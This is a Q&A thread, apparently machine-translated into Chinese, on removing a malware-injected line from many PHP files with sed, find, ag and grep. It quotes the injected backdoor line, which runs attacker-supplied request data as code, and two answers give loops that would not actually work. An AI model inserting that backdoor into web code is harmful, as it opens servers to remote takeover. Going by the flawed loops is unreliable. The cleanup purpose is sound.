Linux 命令一次查找並刪除多個文件中的文本

Linux 命令一次查找並刪除多個文件中的文本

我的網站被病毒感染了。該病毒在我網站的幾個文件中添加了這一行。我的想法是使用終端機中的唯一命令刪除這行文字。

假設我有資料夾“my-folder”,裡面有我的檔案:“file-1.php”、“file-2.php”等。

並且,假設有多個文件被感染。

有沒有命令可以在多個文件中找到並刪除這行程式碼立刻

要刪除的文字: extract($_REQUEST) && @assert(stripslashes($accept)) && exit;

我發現了這個,但它只適用於單一文件:

$ sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' my-file.php

我可以這樣做嗎?

答案1

  1. 您可以結合sed使用find以使其遞歸。像這樣的東西:

    find . -type f -name "*php" -exec sed -i.bak 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' {} \+
    

    請注意,它將遍歷您當前的目錄樹並將 sed 應用於每個現有的“*php”檔案。它還將為每個更改的檔案建立 .bak 備份檔案(以便您可以稍後恢復以防萬一)。如果不需要備份,-i.bak只需替換為-i.否則,您可以稍後使用諸如find . -name "*php.bak" -delete.

  2. 此步驟不會幫助您立即修復所有問題,但它肯定會在將來節省您的時間:將包含腳本的目錄保存在下面git(理想情況下它應該是一個完整的CI/CD 解決方案,但您可以從git 開始) ),這樣您就可以輕鬆回滾/前進套用到檔案的變更。

答案2

搜尋包含惡意字串的文件,並使用以下命令編輯它們sed

ag -lF --php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'

我常常依靠ag僅搜尋php帶有該標誌的文件--php。如果您願意,您可以透過以下方式完成相同的任務grep -r -i --include \*.php

grep -rilF --include \*.php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'

答案3

根據您的命令,我建議您使用“for循環”來執行此操作:

for i in file-1.php file-2.php
        do sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
done

您也可以新增任何您想要的檔案「for i in file-1.php file-2.php file-n.php

答案4

您可以使用下列方法刪除檔案中包含特定模式的行

您可以在 for 迴圈中提及文件

for i in file1 file2
do
sed -i '/Text to remove: extract($_REQUEST) && @assert(stripslashes($accept)) && exit/d' $i
done

相關內容